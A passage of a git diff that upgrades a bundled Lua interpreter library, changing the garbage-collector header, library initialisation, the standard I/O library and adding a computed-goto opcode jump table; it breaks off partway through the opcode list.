This is signaled by 'g->lastatomic != 0'. +*/ +#define isdecGCmodegen(g) (g->gckind == KGC_GEN || g->lastatomic != 0) + + +/* +** Control when GC is running: +*/ +#define GCSTPUSR 1 /* bit true when GC stopped by user */ +#define GCSTPGC 2 /* bit true when GC stopped by itself */ +#define GCSTPCLS 4 /* bit true when closing Lua state */ +#define gcrunning(g) ((g)->gcstp == 0) + + +/* +** Does one step of collection when debt becomes positive. 'pre'/'pos' +** allows some adjustments to be done only when needed. macro +** 'condchangemem' is used only for heavy tests (forcing a full +** GC cycle on every opportunity) +*/ +#define luaC_condGC(L,pre,pos) \ + { if (G(L)->GCdebt > 0) { pre; luaC_step(L); pos;}; \ + condchangemem(L,pre,pos); } + +/* more often than not, 'pre'/'pos' are empty */ +#define luaC_checkGC(L) luaC_condGC(L,(void)0,(void)0) + + +#define luaC_objbarrier(L,p,o) ( \ + (isblack(p) && iswhite(o)) ? \ + luaC_barrier_(L,obj2gco(p),obj2gco(o)) : cast_void(0)) + +#define luaC_barrier(L,p,v) ( \ + iscollectable(v) ? luaC_objbarrier(L,p,gcvalue(v)) : cast_void(0)) + +#define luaC_objbarrierback(L,p,o) ( \ + (isblack(p) && iswhite(o)) ? luaC_barrierback_(L,p) : cast_void(0)) + +#define luaC_barrierback(L,p,v) ( \ + iscollectable(v) ? luaC_objbarrierback(L, p, gcvalue(v)) : cast_void(0)) + +LUAI_FUNC void luaC_fix(lua_State *L, GCObject *o); LUAI_FUNC void luaC_freeallobjects(lua_State *L); LUAI_FUNC void luaC_step(lua_State *L); -LUAI_FUNC void luaC_forcestep(lua_State *L); LUAI_FUNC void luaC_runtilstate(lua_State *L, int statesmask); LUAI_FUNC void luaC_fullgc(lua_State *L, int isemergency); -LUAI_FUNC GCObject *luaC_newobj(lua_State *L, int tt, size_t sz, - GCObject **list, int offset); +LUAI_FUNC GCObject *luaC_newobj(lua_State *L, int tt, size_t sz); +LUAI_FUNC GCObject *luaC_newobjdt(lua_State *L, int tt, size_t sz, + size_t offset); LUAI_FUNC void luaC_barrier_(lua_State *L, GCObject *o, GCObject *v); LUAI_FUNC void luaC_barrierback_(lua_State *L, GCObject *o); -LUAI_FUNC void luaC_barrierproto_(lua_State *L, Proto *p, Closure *c); LUAI_FUNC void luaC_checkfinalizer(lua_State *L, GCObject *o, Table *mt); -LUAI_FUNC void luaC_checkupvalcolor(global_State *g, UpVal *uv); -LUAI_FUNC void luaC_changemode(lua_State *L, int mode); +LUAI_FUNC void luaC_changemode(lua_State *L, int newmode); + #endif diff --git a/client/deps/liblua/linit.c b/client/deps/liblua/linit.c index ed3cc0512..60ba583b2 100644 --- a/client/deps/liblua/linit.c +++ b/client/deps/liblua/linit.c @@ -1,20 +1,33 @@ /* -** $Id: linit.c,v 1.32 2011/04/08 19:17:36 roberto Exp $ +** $Id: linit.c $ ** Initialization of libraries for lua.c and other clients ** See Copyright Notice in lua.h */ +#define linit_c +#define LUA_LIB + /* ** If you embed Lua in your program and need to open the standard ** libraries, call luaL_openlibs in your program. If you need a ** different set of libraries, copy this file to your project and edit ** it to suit your needs. +** +** You can also *preload* libraries, so that a later 'require' can +** open the library, which is already linked to the application. +** For that, do the following code: +** +** luaL_getsubtable(L, LUA_REGISTRYINDEX, LUA_PRELOAD_TABLE); +** lua_pushcfunction(L, luaopen_modname); +** lua_setfield(L, -2, modname); +** lua_pop(L, 1); // remove PRELOAD table */ +#include "lprefix.h" -#define linit_c -#define LUA_LIB + +#include #include "lua.h" @@ -27,41 +40,26 @@ ** program */ static const luaL_Reg loadedlibs[] = { - {"_G", luaopen_base}, + {LUA_GNAME, luaopen_base}, {LUA_LOADLIBNAME, luaopen_package}, {LUA_COLIBNAME, luaopen_coroutine}, {LUA_TABLIBNAME, luaopen_table}, {LUA_IOLIBNAME, luaopen_io}, {LUA_OSLIBNAME, luaopen_os}, {LUA_STRLIBNAME, luaopen_string}, - {LUA_BITLIBNAME, luaopen_bit32}, {LUA_MATHLIBNAME, luaopen_math}, + {LUA_UTF8LIBNAME, luaopen_utf8}, {LUA_DBLIBNAME, luaopen_debug}, {NULL, NULL} }; -/* -** these libs are preloaded and must be required before used -*/ -static const luaL_Reg preloadedlibs[] = { - {NULL, NULL} -}; - - LUALIB_API void luaL_openlibs(lua_State *L) { const luaL_Reg *lib; - /* call open functions from 'loadedlibs' and set results to global table */ + /* "require" functions from 'loadedlibs' and set results to global table */ for (lib = loadedlibs; lib->func; lib++) { luaL_requiref(L, lib->name, lib->func, 1); lua_pop(L, 1); /* remove lib */ } - /* add open functions from 'preloadedlibs' into 'package.preload' table */ - luaL_getsubtable(L, LUA_REGISTRYINDEX, "_PRELOAD"); - for (lib = preloadedlibs; lib->func; lib++) { - lua_pushcfunction(L, lib->func); - lua_setfield(L, -2, lib->name); - } - lua_pop(L, 1); /* remove _PRELOAD table */ } diff --git a/client/deps/liblua/liolib.c b/client/deps/liblua/liolib.c index 3d0c3bb2c..4a508fa61 100644 --- a/client/deps/liblua/liolib.c +++ b/client/deps/liblua/liolib.c @@ -1,129 +1,163 @@ /* -** $Id: liolib.c,v 2.111 2013/03/21 13:57:27 roberto Exp $ +** $Id: liolib.c $ ** Standard I/O (and system) library ** See Copyright Notice in lua.h */ +#define liolib_c +#define LUA_LIB -/* -** POSIX idiosyncrasy! -** This definition must come before the inclusion of 'stdio.h'; it -** should not affect non-POSIX systems -*/ -#if !defined(_FILE_OFFSET_BITS) -#define _FILE_OFFSET_BITS 64 -#endif +#include "lprefix.h" +#include #include +#include #include #include #include -#define liolib_c -#define LUA_LIB - #include "lua.h" #include "lauxlib.h" #include "lualib.h" -#if !defined(lua_checkmode) + /* -** Check whether 'mode' matches '[rwa]%+?b?'. ** Change this macro to accept other modes for 'fopen' besides ** the standard ones. */ -#define lua_checkmode(mode) \ - (*mode != '\0' && strchr("rwa", *(mode++)) != NULL && \ - (*mode != '+' || ++mode) && /* skip if char is '+' */ \ - (*mode != 'b' || ++mode) && /* skip if char is 'b' */ \ - (*mode == '\0')) +#if !defined(l_checkmode) + +/* accepted extensions to 'mode' in 'fopen' */ +#if !defined(L_MODEEXT) +#define L_MODEEXT "b" +#endif + +/* Check whether 'mode' matches '[rwa]%+?[L_MODEEXT]*' */ +static int l_checkmode(const char *mode) { + return (*mode != '\0' && strchr("rwa", *(mode++)) != NULL && + (*mode != '+' || ((void)(++mode), 1)) && /* skip if char is '+' */ + (strspn(mode, L_MODEEXT) == strlen(mode))); /* check extensions */ +} #endif /* ** {====================================================== -** lua_popen spawns a new process connected to the current +** l_popen spawns a new process connected to the current ** one through the file streams. ** ======================================================= */ -#if !defined(lua_popen) /* { */ +#if !defined(l_popen) /* { */ -#if defined(LUA_USE_POPEN) /* { */ +#if defined(LUA_USE_POSIX) /* { */ -#define lua_popen(L,c,m) ((void)L, fflush(NULL), popen(c,m)) -#define lua_pclose(L,file) ((void)L, pclose(file)) +#define l_popen(L,c,m) (fflush(NULL), popen(c,m)) +#define l_pclose(L,file) (pclose(file)) -#elif defined(LUA_WIN) /* }{ */ +#elif defined(LUA_USE_WINDOWS) /* }{ */ -#define lua_popen(L,c,m) ((void)L, _popen(c,m)) -#define lua_pclose(L,file) ((void)L, _pclose(file)) +#define l_popen(L,c,m) (_popen(c,m)) +#define l_pclose(L,file) (_pclose(file)) + +#if !defined(l_checkmodep) +/* Windows accepts "[rw][bt]?" as valid modes */ +#define l_checkmodep(m) ((m[0] == 'r' || m[0] == 'w') && \ + (m[1] == '\0' || ((m[1] == 'b' || m[1] == 't') && m[2] == '\0'))) +#endif + +#else /* }{ */ + +/* ISO C definitions */ +#define l_popen(L,c,m) \ + ((void)c, (void)m, \ + luaL_error(L, "'popen' not supported"), \ + (FILE*)0) +#define l_pclose(L,file) ((void)L, (void)file, -1) + +#endif /* } */ + +#endif /* } */ -#else /* }{ */ - -#define lua_popen(L,c,m) ((void)((void)c, m), \ - luaL_error(L, LUA_QL("popen") " not supported"), (FILE*)0) -#define lua_pclose(L,file) ((void)((void)L, file), -1) - - -#endif /* } */ - -#endif /* } */ +#if !defined(l_checkmodep) +/* By default, Lua accepts only "r" or "w" as valid modes */ +#define l_checkmodep(m) ((m[0] == 'r' || m[0] == 'w') && m[1] == '\0') +#endif /* }====================================================== */ +#if !defined(l_getc) /* { */ + +#if defined(LUA_USE_POSIX) +#define l_getc(f) getc_unlocked(f) +#define l_lockfile(f) flockfile(f) +#define l_unlockfile(f) funlockfile(f) +#else +#define l_getc(f) getc(f) +#define l_lockfile(f) ((void)0) +#define l_unlockfile(f) ((void)0) +#endif + +#endif /* } */ + + /* ** {====================================================== -** lua_fseek/lua_ftell: configuration for longer offsets +** l_fseek: configuration for longer offsets ** ======================================================= */ -#if !defined(lua_fseek) /* { */ +#if !defined(l_fseek) /* { */ -#if defined(LUA_USE_POSIX) +#if defined(LUA_USE_POSIX) /* { */ -#define l_fseek(f,o,w) fseeko(f,o,w) -#define l_ftell(f) ftello(f) -#define l_seeknum off_t +#include + +#define l_fseek(f,o,w) fseeko(f,o,w) +#define l_ftell(f) ftello(f) +#define l_seeknum off_t + +#elif defined(LUA_USE_WINDOWS) && !defined(_CRTIMP_TYPEINFO) \ + && defined(_MSC_VER) && (_MSC_VER >= 1400) /* }{ */ -#elif defined(LUA_WIN) && !defined(_CRTIMP_TYPEINFO) \ - && defined(_MSC_VER) && (_MSC_VER >= 1400) /* Windows (but not DDK) and Visual C++ 2005 or higher */ +#define l_fseek(f,o,w) _fseeki64(f,o,w) +#define l_ftell(f) _ftelli64(f) +#define l_seeknum __int64 -#define l_fseek(f,o,w) _fseeki64(f,o,w) -#define l_ftell(f) _ftelli64(f) -#define l_seeknum __int64 +#else /* }{ */ -#else +/* ISO C definitions */ +#define l_fseek(f,o,w) fseek(f,o,w) +#define l_ftell(f) ftell(f) +#define l_seeknum long -#define l_fseek(f,o,w) fseek(f,o,w) -#define l_ftell(f) ftell(f) -#define l_seeknum long +#endif /* } */ -#endif - -#endif /* } */ +#endif /* } */ /* }====================================================== */ -#define IO_PREFIX "_IO_" -#define IO_INPUT (IO_PREFIX "input") -#define IO_OUTPUT (IO_PREFIX "output") + +#define IO_PREFIX "_IO_" +#define IOPREF_LEN (sizeof(IO_PREFIX)/sizeof(char) - 1) +#define IO_INPUT (IO_PREFIX "input") +#define IO_OUTPUT (IO_PREFIX "output") typedef luaL_Stream LStream; -#define tolstream(L) ((LStream *)luaL_checkudata(L, 1, LUA_FILEHANDLE)) +#define tolstream(L) ((LStream *)luaL_checkudata(L, 1, LUA_FILEHANDLE)) -#define isclosed(p) ((p)->closef == NULL) +#define isclosed(p) ((p)->closef == NULL) static int io_type(lua_State *L) { @@ -131,7 +165,7 @@ static int io_type(lua_State *L) { luaL_checkany(L, 1); p = (LStream *)luaL_testudata(L, 1, LUA_FILEHANDLE); if (p == NULL) - lua_pushnil(L); /* not a file */ + luaL_pushfail(L); /* not a file */ else if (isclosed(p)) lua_pushliteral(L, "closed file"); else @@ -152,7 +186,7 @@ static int f_tostring(lua_State *L) { static FILE *tofile(lua_State *L) { LStream *p = tolstream(L); - if (isclosed(p)) + if (l_unlikely(isclosed(p))) luaL_error(L, "attempt to use a closed file"); lua_assert(p->f); return p->f; @@ -160,34 +194,44 @@ static FILE *tofile(lua_State *L) { /* -** When creating file handles, always creates a `closed' file handle +** When creating file handles, always creates a 'closed' file handle ** before opening the actual file; so, if there is a memory error, the -** file is not left opened. +** handle is in a consistent state. */ static LStream *newprefile(lua_State *L) { - LStream *p = (LStream *)lua_newuserdata(L, sizeof(LStream)); + LStream *p = (LStream *)lua_newuserdatauv(L, sizeof(LStream), 0); p->closef = NULL; /* mark file handle as 'closed' */ luaL_setmetatable(L, LUA_FILEHANDLE); return p; } +/* +** Calls the 'close' function from a file handle. The 'volatile' avoids +** a bug in some versions of the Clang compiler (e.g., clang 3.0 for +** 32 bits). +*/ static int aux_close(lua_State *L) { LStream *p = tolstream(L); - lua_CFunction cf = p->closef; + volatile lua_CFunction cf = p->closef; p->closef = NULL; /* mark stream as closed */ return (*cf)(L); /* close it */ } -static int io_close(lua_State *L) { - if (lua_isnone(L, 1)) /* no argument? */ - lua_getfield(L, LUA_REGISTRYINDEX, IO_OUTPUT); /* use standard output */ +static int f_close(lua_State *L) { tofile(L); /* make sure argument is an open stream */ return aux_close(L); } +static int io_close(lua_State *L) { + if (lua_isnone(L, 1)) /* no argument? */ + lua_getfield(L, LUA_REGISTRYINDEX, IO_OUTPUT); /* use default output */ + return f_close(L); +} + + static int f_gc(lua_State *L) { LStream *p = tolstream(L); if (!isclosed(p) && p->f != NULL) @@ -201,8 +245,8 @@ static int f_gc(lua_State *L) { */ static int io_fclose(lua_State *L) { LStream *p = tolstream(L); - int res = fclose(p->f); - return luaL_fileresult(L, (res == 0), NULL); + errno = 0; + return luaL_fileresult(L, (fclose(p->f) == 0), NULL); } @@ -217,8 +261,8 @@ static LStream *newfile(lua_State *L) { static void opencheck(lua_State *L, const char *fname, const char *mode) { LStream *p = newfile(L); p->f = fopen(fname, mode); - if (p->f == NULL) - luaL_error(L, "cannot open file " LUA_QS " (%s)", fname, strerror(errno)); + if (l_unlikely(p->f == NULL)) + luaL_error(L, "cannot open file '%s' (%s)", fname, strerror(errno)); } @@ -227,7 +271,8 @@ static int io_open(lua_State *L) { const char *mode = luaL_optstring(L, 2, "r"); LStream *p = newfile(L); const char *md = mode; /* to traverse/check mode */ - luaL_argcheck(L, lua_checkmode(md), 2, "invalid mode"); + luaL_argcheck(L, l_checkmode(md), 2, "invalid mode"); + errno = 0; p->f = fopen(filename, mode); return (p->f == NULL) ? luaL_fileresult(L, 0, filename) : 1; } @@ -238,7 +283,8 @@ static int io_open(lua_State *L) { */ static int io_pclose(lua_State *L) { LStream *p = tolstream(L); - return luaL_execresult(L, lua_pclose(L, p->f)); + errno = 0; + return luaL_execresult(L, l_pclose(L, p->f)); } @@ -246,7 +292,9 @@ static int io_popen(lua_State *L) { const char *filename = luaL_checkstring(L, 1); const char *mode = luaL_optstring(L, 2, "r"); LStream *p = newprefile(L); - p->f = lua_popen(L, filename, mode); + luaL_argcheck(L, l_checkmodep(mode), 2, "invalid mode"); + errno = 0; + p->f = l_popen(L, filename, mode); p->closef = &io_pclose; return (p->f == NULL) ? luaL_fileresult(L, 0, filename) : 1; } @@ -254,6 +302,7 @@ static int io_popen(lua_State *L) { static int io_tmpfile(lua_State *L) { LStream *p = newfile(L); + errno = 0; p->f = tmpfile(); return (p->f == NULL) ? luaL_fileresult(L, 0, NULL) : 1; } @@ -263,8 +312,8 @@ static FILE *getiofile(lua_State *L, const char *findex) { LStream *p; lua_getfield(L, LUA_REGISTRYINDEX, findex); p = (LStream *)lua_touserdata(L, -1); - if (isclosed(p)) - luaL_error(L, "standard %s file is closed", findex + strlen(IO_PREFIX)); + if (l_unlikely(isclosed(p))) + luaL_error(L, "default %s file is closed", findex + IOPREF_LEN); return p->f; } @@ -299,15 +348,28 @@ static int io_output(lua_State *L) { static int io_readline(lua_State *L); +/* +** maximum number of arguments to 'f:lines'/'io.lines' (it + 3 must fit +** in the limit for upvalues of a closure) +*/ +#define MAXARGLINE 250 + +/* +** Auxiliary function to create the iteration function for 'lines'. +** The iteration function is a closure over 'io_readline', with +** the following upvalues: +** 1) The file being read (first value in the stack) +** 2) the number of arguments to read +** 3) a boolean, true iff file has to be closed when finished ('toclose') +** *) a variable number of format arguments (rest of the stack) +*/ static void aux_lines(lua_State *L, int toclose) { - int i; int n = lua_gettop(L) - 1; /* number of arguments to read */ - /* ensure that arguments will fit here and into 'io_readline' stack */ - luaL_argcheck(L, n <= LUA_MINSTACK - 3, LUA_MINSTACK - 3, "too many options"); - lua_pushvalue(L, 1); /* file handle */ + luaL_argcheck(L, n <= MAXARGLINE, MAXARGLINE + 2, "too many arguments"); + lua_pushvalue(L, 1); /* file */ lua_pushinteger(L, n); /* number of arguments to read */ lua_pushboolean(L, toclose); /* close/not close file when finished */ - for (i = 1; i <= n; i++) lua_pushvalue(L, i + 1); /* copy arguments */ + lua_rotate(L, 2, 3); /* move the three values to their positions */ lua_pushcclosure(L, io_readline, 3 + n); } @@ -319,6 +381,11 @@ static int f_lines(lua_State *L) { } +/* +** Return an iteration function for 'io.lines'. If file has to be +** closed, also returns the file itself as a second result (to be +** closed as the state at the exit of a generic for). +*/ static int io_lines(lua_State *L) { int toclose; if (lua_isnone(L, 1)) lua_pushnil(L); /* at least one argument */ @@ -333,8 +400,14 @@ static int io_lines(lua_State *L) { lua_replace(L, 1); /* put file at index 1 */ toclose = 1; /* close it after iteration */ } - aux_lines(L, toclose); - return 1; + aux_lines(L, toclose); /* push iteration function */ + if (toclose) { + lua_pushnil(L); /* state */ + lua_pushnil(L); /* control */ + lua_pushvalue(L, 1); /* file is the to-be-closed variable (4th result) */ + return 4; + } else + return 1; } @@ -345,12 +418,92 @@ static int io_lines(lua_State *L) { */ -static int read_number(lua_State *L, FILE *f) { - lua_Number d; - if (fscanf(f, LUA_NUMBER_SCAN, &d) == 1) { - lua_pushnumber(L, d); - return 1; +/* maximum length of a numeral */ +#if !defined (L_MAXLENNUM) +#define L_MAXLENNUM 200 +#endif + + +/* auxiliary structure used by 'read_number' */ +typedef struct { + FILE *f; /* file being read */ + int c; /* current character (look ahead) */ + int n; /* number of elements in buffer 'buff' */ + char buff[L_MAXLENNUM + 1]; /* +1 for ending '\0' */ +} RN; + + +/* +** Add current char to buffer (if not out of space) and read next one +*/ +static int nextc(RN *rn) { + if (l_unlikely(rn->n >= L_MAXLENNUM)) { /* buffer overflow? */ + rn->buff[0] = '\0'; /* invalidate result */ + return 0; /* fail */ } else { + rn->buff[rn->n++] = rn->c; /* save current char */ + rn->c = l_getc(rn->f); /* read next one */ + return 1; + } +} + + +/* +** Accept current char if it is in 'set' (of size 2) +*/ +static int test2(RN *rn, const char *set) { + if (rn->c == set[0] || rn->c == set[1]) + return nextc(rn); + else return 0; +} + + +/* +** Read a sequence of (hex)digits +*/ +static int readdigits(RN *rn, int hex) { + int count = 0; + while ((hex ? isxdigit(rn->c) : isdigit(rn->c)) && nextc(rn)) + count++; + return count; +} + + +/* +** Read a number: first reads a valid prefix of a numeral into a buffer. +** Then it calls 'lua_stringtonumber' to check whether the format is +** correct and to convert it to a Lua number. +*/ +static int read_number(lua_State *L, FILE *f) { + RN rn; + int count = 0; + int hex = 0; + char decp[2]; + rn.f = f; + rn.n = 0; + decp[0] = lua_getlocaledecpoint(); /* get decimal point from locale */ + decp[1] = '.'; /* always accept a dot */ + l_lockfile(rn.f); + do { rn.c = l_getc(rn.f); } + while (isspace(rn.c)); /* skip spaces */ + test2(&rn, "-+"); /* optional sign */ + if (test2(&rn, "00")) { + if (test2(&rn, "xX")) hex = 1; /* numeral is hexadecimal */ + else count = 1; /* count initial '0' as a valid digit */ + } + count += readdigits(&rn, hex); /* integral part */ + if (test2(&rn, decp)) /* decimal point? */ + count += readdigits(&rn, hex); /* fractional part */ + if (count > 0 && test2(&rn, (hex ? "pP" : "eE"))) { /* exponent mark? */ + test2(&rn, "-+"); /* exponent sign */ + readdigits(&rn, 0); /* exponent digits */ + } + ungetc(rn.c, rn.f); /* unread look-ahead char */ + l_unlockfile(rn.f); + rn.buff[rn.n] = '\0'; /* finish string */ + if (l_likely(lua_stringtonumber(L, rn.buff))) + return 1; /* ok, it is a valid number */ + else { /* invalid format */ lua_pushnil(L); /* "result" to be removed */ return 0; /* read fails */ } @@ -359,48 +512,42 @@ static int read_number(lua_State *L, FILE *f) { static int test_eof(lua_State *L, FILE *f) { int c = getc(f); - ungetc(c, f); - lua_pushlstring(L, NULL, 0); + ungetc(c, f); /* no-op when c == EOF */ + lua_pushliteral(L, ""); return (c != EOF); } static int read_line(lua_State *L, FILE *f, int chop) { luaL_Buffer b; + int c; luaL_buffinit(L, &b); - for (;;) { - size_t l; - char *p = luaL_prepbuffer(&b); - if (fgets(p, LUAL_BUFFERSIZE, f) == NULL) { /* eof? */ - luaL_pushresult(&b); /* close buffer */ - return (lua_rawlen(L, -1) > 0); /* check whether read something */ - } - l = strlen(p); - if (l == 0 || p[l - 1] != '\n') - luaL_addsize(&b, l); - else { - luaL_addsize(&b, l - chop); /* chop 'eol' if needed */ - luaL_pushresult(&b); /* close buffer */ - return 1; /* read at least an `eol' */ - } - } + do { /* may need to read several chunks to get whole line */ + char *buff = luaL_prepbuffer(&b); /* preallocate buffer space */ + int i = 0; + l_lockfile(f); /* no memory errors can happen inside the lock */ + while (i < LUAL_BUFFERSIZE && (c = l_getc(f)) != EOF && c != '\n') + buff[i++] = c; /* read up to end of line or buffer limit */ + l_unlockfile(f); + luaL_addsize(&b, i); + } while (c != EOF && c != '\n'); /* repeat until end of line */ + if (!chop && c == '\n') /* want a newline and have one? */ + luaL_addchar(&b, c); /* add ending newline to result */ + luaL_pushresult(&b); /* close buffer */ + /* return ok if read something (either a newline or something else) */ + return (c == '\n' || lua_rawlen(L, -1) > 0); } -#define MAX_SIZE_T (~(size_t)0) - static void read_all(lua_State *L, FILE *f) { - size_t rlen = LUAL_BUFFERSIZE; /* how much to read in each cycle */ + size_t nr; luaL_Buffer b; luaL_buffinit(L, &b); - for (;;) { - char *p = luaL_prepbuffsize(&b, rlen); - size_t nr = fread(p, sizeof(char), rlen, f); + do { /* read file in chunks of LUAL_BUFFERSIZE bytes */ + char *p = luaL_prepbuffer(&b); + nr = fread(p, sizeof(char), LUAL_BUFFERSIZE, f); luaL_addsize(&b, nr); - if (nr < rlen) break; /* eof? */ - else if (rlen <= (MAX_SIZE_T / 4)) /* avoid buffers too large */ - rlen *= 2; /* double buffer size at each iteration */ - } + } while (nr == LUAL_BUFFERSIZE); luaL_pushresult(&b); /* close buffer */ } @@ -420,23 +567,24 @@ static int read_chars(lua_State *L, FILE *f, size_t n) { static int g_read(lua_State *L, FILE *f, int first) { int nargs = lua_gettop(L) - 1; - int success; - int n; + int n, success; clearerr(f); + errno = 0; if (nargs == 0) { /* no arguments? */ success = read_line(L, f, 1); - n = first + 1; /* to return 1 result */ - } else { /* ensure stack space for all results and for auxlib's buffer */ + n = first + 1; /* to return 1 result */ + } else { + /* ensure stack space for all results and for auxlib's buffer */ luaL_checkstack(L, nargs + LUA_MINSTACK, "too many arguments"); success = 1; for (n = first; nargs-- && success; n++) { if (lua_type(L, n) == LUA_TNUMBER) { - size_t l = (size_t)lua_tointeger(L, n); + size_t l = (size_t)luaL_checkinteger(L, n); success = (l == 0) ? test_eof(L, f) : read_chars(L, f, l); } else { - const char *p = lua_tostring(L, n); - luaL_argcheck(L, p && p[0] == '*', n, "invalid option"); - switch (p[1]) { + const char *p = luaL_checkstring(L, n); + if (*p == '*') p++; /* skip optional '*' (for compatibility) */ + switch (*p) { case 'n': /* number */ success = read_number(L, f); break; @@ -460,7 +608,7 @@ static int g_read(lua_State *L, FILE *f, int first) { return luaL_fileresult(L, 0, NULL); if (!success) { lua_pop(L, 1); /* remove last result */ - lua_pushnil(L); /* push nil instead */ + luaL_pushfail(L); /* push nil instead */ } return n - first; } @@ -476,6 +624,9 @@ static int f_read(lua_State *L) { } +/* +** Iteration function for 'lines'. +*/ static int io_readline(lua_State *L) { LStream *p = (LStream *)lua_touserdata(L, lua_upvalueindex(1)); int i; @@ -483,20 +634,21 @@ static int io_readline(lua_State *L) { if (isclosed(p)) /* file is already closed? */ return luaL_error(L, "file is already closed"); lua_settop(L, 1); + luaL_checkstack(L, n, "too many arguments"); for (i = 1; i <= n; i++) /* push arguments to 'g_read' */ lua_pushvalue(L, lua_upvalueindex(3 + i)); n = g_read(L, p->f, 2); /* 'n' is number of results */ lua_assert(n > 0); /* should return at least a nil */ - if (!lua_isnil(L, -n)) /* read at least one value? */ + if (lua_toboolean(L, -n)) /* read at least one value? */ return n; /* return them */ - else { /* first result is nil: EOF or error */ + else { /* first result is false: EOF or error */ if (n > 1) { /* is there error information? */ /* 2nd result is error message */ return luaL_error(L, "%s", lua_tostring(L, -n + 1)); } if (lua_toboolean(L, lua_upvalueindex(3))) { /* generator created file? */ - lua_settop(L, 0); - lua_pushvalue(L, lua_upvalueindex(1)); + lua_settop(L, 0); /* clear stack */ + lua_pushvalue(L, lua_upvalueindex(1)); /* push file at index 1 */ aux_close(L); /* close it */ } return 0; @@ -509,19 +661,26 @@ static int io_readline(lua_State *L) { static int g_write(lua_State *L, FILE *f, int arg) { int nargs = lua_gettop(L) - arg; int status = 1; + errno = 0; for (; nargs--; arg++) { if (lua_type(L, arg) == LUA_TNUMBER) { /* optimization: could be done exactly as for strings */ - status = status && - fprintf(f, LUA_NUMBER_FMT, lua_tonumber(L, arg)) > 0; + int len = lua_isinteger(L, arg) + ? fprintf(f, LUA_INTEGER_FMT, + (LUAI_UACINT)lua_tointeger(L, arg)) + : fprintf(f, LUA_NUMBER_FMT, + (LUAI_UACNUMBER)lua_tonumber(L, arg)); + status = status && (len > 0); } else { size_t l; const char *s = luaL_checklstring(L, arg, &l); status = status && (fwrite(s, sizeof(char), l, f) == l); } } - if (status) return 1; /* file handle already on stack top */ - else return luaL_fileresult(L, status, NULL); + if (l_likely(status)) + return 1; /* file handle already on stack top */ + else + return luaL_fileresult(L, status, NULL); } @@ -542,15 +701,16 @@ static int f_seek(lua_State *L) { static const char *const modenames[] = {"set", "cur", "end", NULL}; FILE *f = tofile(L); int op = luaL_checkoption(L, 2, "cur", modenames); - lua_Number p3 = luaL_optnumber(L, 3, 0); + lua_Integer p3 = luaL_optinteger(L, 3, 0); l_seeknum offset = (l_seeknum)p3; - luaL_argcheck(L, (lua_Number)offset == p3, 3, + luaL_argcheck(L, (lua_Integer)offset == p3, 3, "not an integer in proper range"); + errno = 0; op = l_fseek(f, offset, mode[op]); - if (op) + if (l_unlikely(op)) return luaL_fileresult(L, 0, NULL); /* error */ else { - lua_pushnumber(L, (lua_Number)l_ftell(f)); + lua_pushinteger(L, (lua_Integer)l_ftell(f)); return 1; } } @@ -562,19 +722,25 @@ static int f_setvbuf(lua_State *L) { FILE *f = tofile(L); int op = luaL_checkoption(L, 2, NULL, modenames); lua_Integer sz = luaL_optinteger(L, 3, LUAL_BUFFERSIZE); - int res = setvbuf(f, NULL, mode[op], sz); + int res; + errno = 0; + res = setvbuf(f, NULL, mode[op], (size_t)sz); return luaL_fileresult(L, res == 0, NULL); } static int io_flush(lua_State *L) { - return luaL_fileresult(L, fflush(getiofile(L, IO_OUTPUT)) == 0, NULL); + FILE *f = getiofile(L, IO_OUTPUT); + errno = 0; + return luaL_fileresult(L, fflush(f) == 0, NULL); } static int f_flush(lua_State *L) { - return luaL_fileresult(L, fflush(tofile(L)) == 0, NULL); + FILE *f = tofile(L); + errno = 0; + return luaL_fileresult(L, fflush(f) == 0, NULL); } @@ -600,26 +766,37 @@ static const luaL_Reg iolib[] = { /* ** methods for file handles */ -static const luaL_Reg flib[] = { - {"close", io_close}, - {"flush", f_flush}, - {"lines", f_lines}, +static const luaL_Reg meth[] = { {"read", f_read}, - {"seek", f_seek}, - {"setvbuf", f_setvbuf}, {"write", f_write}, + {"lines", f_lines}, + {"flush", f_flush}, + {"seek", f_seek}, + {"close", f_close}, + {"setvbuf", f_setvbuf}, + {NULL, NULL} +}; + + +/* +** metamethods for file handles +*/ +static const luaL_Reg metameth[] = { + {"__index", NULL}, /* placeholder */ {"__gc", f_gc}, + {"__close", f_gc}, {"__tostring", f_tostring}, {NULL, NULL} }; static void createmeta(lua_State *L) { - luaL_newmetatable(L, LUA_FILEHANDLE); /* create metatable for file handles */ - lua_pushvalue(L, -1); /* push metatable */ - lua_setfield(L, -2, "__index"); /* metatable.__index = metatable */ - luaL_setfuncs(L, flib, 0); /* add file methods to new metatable */ - lua_pop(L, 1); /* pop new metatable */ + luaL_newmetatable(L, LUA_FILEHANDLE); /* metatable for file handles */ + luaL_setfuncs(L, metameth, 0); /* add metamethods to new metatable */ + luaL_newlibtable(L, meth); /* create method table */ + luaL_setfuncs(L, meth, 0); /* add file methods to method table */ + lua_setfield(L, -2, "__index"); /* metatable.__index = method table */ + lua_pop(L, 1); /* pop metatable */ } @@ -629,7 +806,7 @@ static void createmeta(lua_State *L) { static int io_noclose(lua_State *L) { LStream *p = tolstream(L); p->closef = &io_noclose; /* keep file opened */ - lua_pushnil(L); + luaL_pushfail(L); lua_pushliteral(L, "cannot close standard file"); return 2; } diff --git a/client/deps/liblua/ljumptab.h b/client/deps/liblua/ljumptab.h new file mode 100644 index 000000000..c084d3e10 --- /dev/null +++ b/client/deps/liblua/ljumptab.h @@ -0,0 +1,112 @@ +/* +** $Id: ljumptab.h $ +** Jump Table for the Lua interpreter +** See Copyright Notice in lua.h +*/ + + +#undef vmdispatch +#undef vmcase +#undef vmbreak + +#define vmdispatch(x) goto *disptab[x]; + +#define vmcase(l) L_##l: + +#define vmbreak vmfetch(); vmdispatch(GET_OPCODE(i)); + + +static const void *const disptab[NUM_OPCODES] = { + +#if 0 +**you can update the following list with this command: + ** + **sed - n '/^OP_/\!d; s/OP_/\&\&L_OP_/ ; s/,.*/,/ ; s/\/.*// ; p' lopcodes.h + ** +#endif + + &&L_OP_MOVE, + &&L_OP_LOADI, + &&L_OP_LOADF, + &&L_OP_LOADK, + &&L_OP_LOADKX, + &&L_OP_LOADFALSE, + &&L_OP_LFALSESKIP, + &&L_OP_LOADTRUE, + &&L_OP_LOADNIL, + &&L_OP_GETUPVAL, + &&L_OP_SETUPVAL, + &&L_OP_GETTABUP, + &&L_OP_GETTABLE, + &&L_OP_GETI, + &&L_OP_GETFIELD, + &&L_OP_SETTABUP, + &&L_OP_SETTABLE, + &&L_OP_SETI, + &&L_OP_SETFIELD, + &&L_OP_NEWTABLE, + &&L_OP_SELF, + &&L_OP_ADDI, + 